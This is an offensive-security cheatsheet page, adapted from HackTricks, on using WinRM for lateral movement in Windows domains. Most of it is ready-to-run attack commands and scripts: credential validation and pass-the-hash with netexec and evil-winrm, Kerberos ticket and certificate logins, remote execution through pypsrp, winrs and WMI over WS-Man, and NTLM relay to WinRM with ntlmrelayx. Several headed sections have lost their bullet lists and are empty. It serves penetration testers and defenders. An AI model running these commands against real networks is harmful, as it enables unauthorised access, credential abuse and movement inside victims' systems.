repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
winrm.mdMarkdown253 lines12.5 KiBsource raw download

title: "WinRM" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/lateral-movement/winrm.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/lateral-movement/winrm.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

WinRM#

WinRM is one of the most convenient lateral movement transports in Windows environments because it gives you a remote shell over WS-Man/HTTP(S) without needing SMB service creation tricks. If the target exposes 5985/5986 and your principal is allowed to use remoting, you can often move from "valid creds" to "interactive shell" very quickly.

For the protocol/service enumeration, listeners, enabling WinRM, Invoke-Command, and generic client usage, check:

5985 5986 Pentesting Winrm

Why operators like WinRM#

Access model and prerequisites#

In practice, successful WinRM lateral movement depends on three things:

  1. The target has a WinRM listener (5985/5986) and firewall rules that allow access.
  2. The account can authenticate to the endpoint.
  3. The account is allowed to open a remoting session.

Common ways to gain that access:

If you already control a box with admin rights, remember you can also delegate WinRM access without full admin group membership using the techniques described here:

Security Descriptors

Authentication gotchas that matter during lateral movement#

If you land valid credentials during password spraying, validating them over WinRM is often the fastest way to check whether they translate into a shell:

Password Spraying

Linux-to-Windows lateral movement#

NetExec / CrackMapExec for validation and one-shot execution#

# Validate creds and execute a simple command
netexec winrm <HOST_FQDN> -u <USER> -p '<PASSWORD>' -x "whoami /all"

# Pass-the-Hash
netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -x "hostname"

# PowerShell command instead of cmd.exe
netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -X '$PSVersionTable'

Evil-WinRM for interactive shells#

evil-winrm remains the most convenient interactive option from Linux because it supports passwords, NT hashes, Kerberos tickets, client certificates, file transfer, and in-memory PowerShell/.NET loading.

# Password
evil-winrm -i <HOST_FQDN> -u <USER> -p '<PASSWORD>'

# Pass-the-Hash
evil-winrm -i <HOST_FQDN> -u <USER> -H <NTHASH>

# Kerberos using an existing ccache/kirbi
export KRB5CCNAME=./user.ccache
evil-winrm -i <HOST_FQDN> -r <REALM.LOCAL>

Kerberos SPN edge case: HTTP vs WSMAN#

When the default HTTP/<host> SPN causes Kerberos failures, try requesting/using a WSMAN/<host> ticket instead. This appears in hardened or odd enterprise setups where HTTP/<host> is already attached to another service account.[3]

# Example: use a WSMAN ticket instead of the default HTTP SPN
export KRB5CCNAME=administrator@WSMAN_srv01.domain.local@DOMAIN.LOCAL.ccache
evil-winrm -i srv01.domain.local -r DOMAIN.LOCAL --spn WSMAN

This is also useful after RBCD / S4U abuse when you specifically forged or requested a WSMAN service ticket rather than a generic HTTP ticket.

Certificate-based authentication#

WinRM also supports client certificate authentication, but the certificate must be mapped on the target to a local account. From an offensive perspective this matters when:

evil-winrm -i <HOST_FQDN> -S -c user.crt -k user.key

Client-certificate WinRM is much less common than password/hash/Kerberos auth, but when it exists it can provide a passwordless lateral movement path that survives password rotation.

Python / automation with pypsrp#

If you need automation rather than an operator shell, pypsrp gives you WinRM/PSRP from Python with NTLM, certificate auth, Kerberos, and CredSSP support.[2]

from pypsrp.client import Client

client = Client(
    "srv01.domain.local",
    username="DOMAIN\\user",
    password="Password123!",
    ssl=False,
)
stdout, stderr, rc = client.execute_cmd("whoami /all")
print(stdout, stderr, rc)

If you need finer control than the high-level Client wrapper, the lower-level WSMan + RunspacePool APIs are useful for two common operator problems:

from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool

wsman = WSMan(
    "srv01.domain.local",
    auth="kerberos",
    ssl=False,
    negotiate_service="WSMAN",
)

with wsman, RunspacePool(wsman, configuration_name="MyJEAEndpoint") as pool, PowerShell(pool) as ps:
    ps.add_script("whoami; Get-Command")
    output = ps.invoke()
    print(output)

Custom PSRP endpoints and JEA matter during lateral movement#

A successful WinRM authentication does not always mean you land in the default unrestricted Microsoft.PowerShell endpoint. Mature environments may expose custom session configurations or JEA endpoints with their own ACLs and run-as behavior.[1]

If you already have code execution on a Windows host and want to understand what remoting surfaces exist, enumerate the registered endpoints:

Get-PSSessionConfiguration | Select-Object Name, Permission

When a useful endpoint exists, target it explicitly instead of the default shell:

Enter-PSSession -ComputerName srv01.domain.local -ConfigurationName MyJEAEndpoint

Practical offensive implications:

Windows-native WinRM lateral movement#

winrs.exe#

winrs.exe is built in and useful when you want native WinRM command execution without opening an interactive PowerShell remoting session:

winrs -r:srv01.domain.local cmd /c whoami
winrs -r:https://srv01.domain.local:5986 -u:DOMAIN\\user -p:Password123! hostname

Two flags are easy to forget and matter in practice:

winrs -r:srv01.domain.local /noprofile cmd /c set
winrs -r:srv01.domain.local /allowdelegate cmd /c dir \\fileserver.domain.local\share

Operationally, winrs.exe commonly results in a remote process chain similar to:

svchost.exe (DcomLaunch) -> winrshost.exe -> cmd.exe /c <command>

This is worth remembering because it differs from service-based exec and from interactive PSRP sessions.

winrm.cmd / WS-Man COM instead of PowerShell remoting#

You can also execute through WinRM transport without Enter-PSSession by invoking WMI classes over WS-Man. This keeps the transport as WinRM while the remote execution primitive becomes WMI Win32_Process.Create:

winrm invoke Create wmicimv2/Win32_Process @{CommandLine="cmd.exe /c whoami > C:\\Windows\\Temp\\who.txt"} -r:srv01.domain.local

That approach is useful when:

NTLM relay to WinRM (WS-Man)#

When SMB relay is blocked by signing and LDAP relay is constrained, WS-Man/WinRM may still be an attractive relay target. Modern ntlmrelayx.py includes WinRM relay servers and can relay to wsman:// or winrms:// targets.

# Relay to HTTP WinRM
ntlmrelayx.py -t wsman://srv01.domain.local --no-smb-server -smb2support

# Relay to HTTPS WinRM
ntlmrelayx.py -t winrms://srv01.domain.local --no-smb-server -smb2support

Two practical notes:

For multi-hop constraints after landing a first WinRM session, check:

Kerberos Double Hop Problem

OPSEC and detection notes#

References#